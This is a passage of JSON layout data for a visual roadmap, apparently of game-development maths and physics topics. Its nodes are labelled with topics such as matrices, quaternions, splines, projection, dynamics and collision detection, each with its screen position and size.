\"height\": 49,\n      \"style\": {\n        \"width\": 143,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -520.0712461079418,\n        \"y\": 72.01014914622147\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 143,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Kg6Mg9ieUUGXWX9Lai7B0\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -374.07124610794176,\n        \"y\": 71.01014914622147\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Matrix\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 144,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 144,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -374.07124610794176,\n        \"y\": 71.01014914622147\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 144,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"XWxW2ZBw3LcQ4DRk4tgAG\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -520.0712461079418,\n        \"y\": 177.01014914622147\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Geometry\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 144,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 144,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -520.0712461079418,\n        \"y\": 177.01014914622147\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 144,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"XABzEU9owCx9-zw1id9xU\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -520.0712461079418,\n        \"y\": 124.01014914622147\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Linear Transformation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"r5TcXQsU9s4NlAQIPvZ3U\"\n      },\n      \"zIndex\": 999,\n      \"width\": 289,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 289,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -520.0712461079418,\n        \"y\": 124.01014914622147\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 289,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"r5TcXQsU9s4NlAQIPvZ3U\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -373.07124610794176,\n        \"y\": 177.01014914622147\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Affine Space\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 143,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 143,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -373.07124610794176,\n        \"y\": 177.01014914622147\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 143,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"SkCreb6g4i-OFtJWhRYqO\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -520.0712461079418,\n        \"y\": 230.01014914622147\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Affine Transformation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 290,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 290,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -520.0712461079418,\n        \"y\": 230.01014914622147\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 290,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"iIWEjpkNFBj4R5wQ0mcWY\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -378.07124610794176,\n        \"y\": 286.51014914622147\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Orientation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 145,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 145,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -378.07124610794176,\n        \"y\": 286.51014914622147\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 145,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"zPs_LlDvkfxvvCrk5fXB2\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -378.07124610794176,\n        \"y\": 339.51014914622147\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Quaternion\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 145,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 145\n      },\n      \"positionAbsolute\": {\n        \"x\": -378.07124610794176,\n        \"y\": 339.51014914622147\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 145,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"L0J2kvveJNsmN9ueXhqKf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -378.07124610794176,\n        \"y\": 392.51014914622147\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Euler Angle\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 145,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 145,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -378.07124610794176,\n        \"y\": 392.51014914622147\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 145,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"YTkOF_33oL1ZkA-loc_DP\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -122.23195037554086,\n        \"y\": 291.6760028996603\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Curve\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 243,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 243,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -122.23195037554086,\n        \"y\": 291.6760028996603\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 243,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"nTiHZXRh2j3_FsBotmlGf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -122.2319503755408,\n        \"y\": 345.81015303721455\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Spline\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 90,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 90,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -122.2319503755408,\n        \"y\": 345.81015303721455\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 90,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"m4AuHjEBnHS0wyATG-I1Z\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -28.231950375540805,\n        \"y\": 345.81015303721455\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Hermite\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 149,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 149,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -28.231950375540805,\n        \"y\": 345.81015303721455\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 149,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"DUEEm9sAaZqSI-W-PFZ8f\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -122.2319503755408,\n        \"y\": 398.81015303721455\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Bezier\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 90,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 90,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -122.2319503755408,\n        \"y\": 398.81015303721455\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 90,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"N9GoA3YvOaKwYjljj6NZv\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -28.231950375540805,\n        \"y\": 398.81015303721455\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Catmull-Rom\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 149,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 149,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -28.231950375540805,\n        \"y\": 398.81015303721455\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 149,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"5qfoD77wU4ETI7rUSy4Nc\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -517.0712461079418,\n        \"y\": 285.51014914622147\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Projection\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 136,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 136\n      },\n      \"positionAbsolute\": {\n        \"x\": -517.0712461079418,\n        \"y\": 285.51014914622147\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 136,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"LEJymJ2EaAW5FM5LgKW38\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -517.0712461079418,\n        \"y\": 338.51014914622147\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Perspective\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 136,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 136\n      },\n      \"positionAbsolute\": {\n        \"x\": -517.0712461079418,\n        \"y\": 338.51014914622147\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 136,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"d6C1qFv-Tad3AtMBDLI6r\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -517.0712461079418,\n        \"y\": 391.51014914622147\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Orthogonal\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 136,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 136\n      },\n      \"positionAbsolute\": {\n        \"x\": -517.0712461079418,\n        \"y\": 391.51014914622147\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 136,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"UTBnrQiZ6Bf96yJYIUf3b\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 330.39009638382095,\n        \"y\": 516.4583152599474\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Game Physics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"4YgbrXLXf5mfaL2tlYkzk\"\n      },\n      \"zIndex\": 999,\n      \"width\": 191,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 191,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 330.39009638382095,\n        \"y\": 516.4583152599474\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 191,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"0D7KQlF-9ylmILTBBVxot\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 312.39009638382095,\n        \"y\": 429.5296064989004\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Dynamics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 227,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 227,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 312.39009638382095,\n        \"y\": 429.5296064989004\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 227,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"HWtU4q-YPXxSi64t43VNF\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 312.39009638382095,\n        \"y\": 64.52960649890042\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Center of Mass\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 226,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 226,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 312.39009638382095,\n        \"y\": 64.52960649890042\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 226,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"6E2mkXuAzoYnrT1SEIA16\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 312.39009638382095,\n        \"y\": 116.52960649890042\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Moment of Inertia\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 226,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 226,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 312.39009638382095,\n        \"y\": 116.52960649890042\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 226,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ejZMnxZ0QrN-jBqo9Vrj8\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 312.39009638382095,\n        \"y\": 168.52960649890042\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Acceleration\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 122,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 122,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 312.39009638382095,\n        \"y\": 168.52960649890042\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 122,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"m2_wUW2VHMCXHnn5B91qr\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 436.39009638382095,\n        \"y\": 168.52960649890042\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Joints\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 436.39009638382095,\n        \"y\": 168.52960649890042\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"qduFRhmrzJ2sn0g7L-tza\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 436.39009638382095,\n        \"y\": 220.52960649890042\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Force\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 436.39009638382095,\n        \"y\": 220.52960649890042\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"egOcxFTQP7vPIGrxcieuk\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 313.39009638382095,\n        \"y\": 220.52960649890042\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Restitution\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 121,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 121,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 313.39009638382095,\n        \"y\": 220.52960649890042\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 121,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Y7HYY5eq7OG42V9yQz0Q1\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 313.39009638382095,\n        \"y\": 272.5296064989004\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Angular Velocity\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 225,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 313.39009638382095,\n        \"y\": 272.5296064989004\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 225,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"WzcmdW_fKHv3gwdBnvI0_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 312.39009638382095,\n        \"y\": 324.5296064989004\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Buoyancy\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 122,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 122,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 312.39009638382095,\n        \"y\": 324.5296064989004\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 122,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Z_U6abGV_wVkTGZ2LVkFK\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 312.39009638382095,\n        \"y\": 376.5296064989004\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Linear Velocity\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 227,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 227,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 312.39009638382095,\n        \"y\": 376.5296064989004\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 227,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Hz9R4YGYtD0jAur8rYist\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 436.39009638382095,\n        \"y\": 324.5296064989004\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Friction\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 436.39009638382095,\n        \"y\": 324.5296064989004\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"AdOfOJtLtNgDwuABb6orE\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 328.9857878718208,\n        \"y\": 617.9812781501682\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Collision Detection\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 191,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 191,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 328.9857878718208,\n        \"y\": 617.9812781501682\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": true,\n      \"measured\": {\n        \"width\": 191,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"SuemqQuiePab0Qpm2EGy9\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 328.9857878718208,\n        \"y\": 724.5601890981626\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Narrow Phase\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 191,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 191,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 328.9857878718208,\n        \"y\": 724.5601890981626\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 191,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"AKd2UpITqBZV7cZszSRps\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 328.9857878718208,\n        \"y\": 777.5601890981626\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Broad Phase\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 191,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 191,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 328.9857878718208,\n        \"y\": 777.5601890981626\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 191,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"YLusnwCba7BIdKOYUoY6F\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 134.06254359282195,\n        \"y\": 724.6479448168348\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Convexity\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        },\n        \"oldId\": \"vmRYaXNVCe0N73xG8bsEK\"\n      },\n      \"zIndex\": 999,\n      \"width\": 137,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 137,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 134.06254359282195,\n        \"y\": 724.6479448168348\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 137,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"pG_V12qhS4HevoP_KHTvh\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 134.06254359282195,\n        \"y\": 799.2235652019868\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Convex\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 137,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 137,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 134.06254359282195,\n        \"y\": 799.2235652019868\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 137,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"jslk7Gy58VspO1uXGDgBp\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 134.06254359282195,\n        \"y\": 853.340644161757\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Concave\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 137,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 137,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 134.06254359282195,\n        \"y\": 853.340644161757\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 137,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"jixffcPBELkhoG0e7Te8g\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -115.74983529021279,\n        \"y\": 799.2235652019868\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Convex Hull\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 225,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -115.74983529021279,\n        \"y\": 799.2235652019868\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 225,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"bgP9NpD0DJGqN4VCt65xP\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -115.74983529021279,\n        \"y\": 853.340644161757\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Convex Decomposition\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 225,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 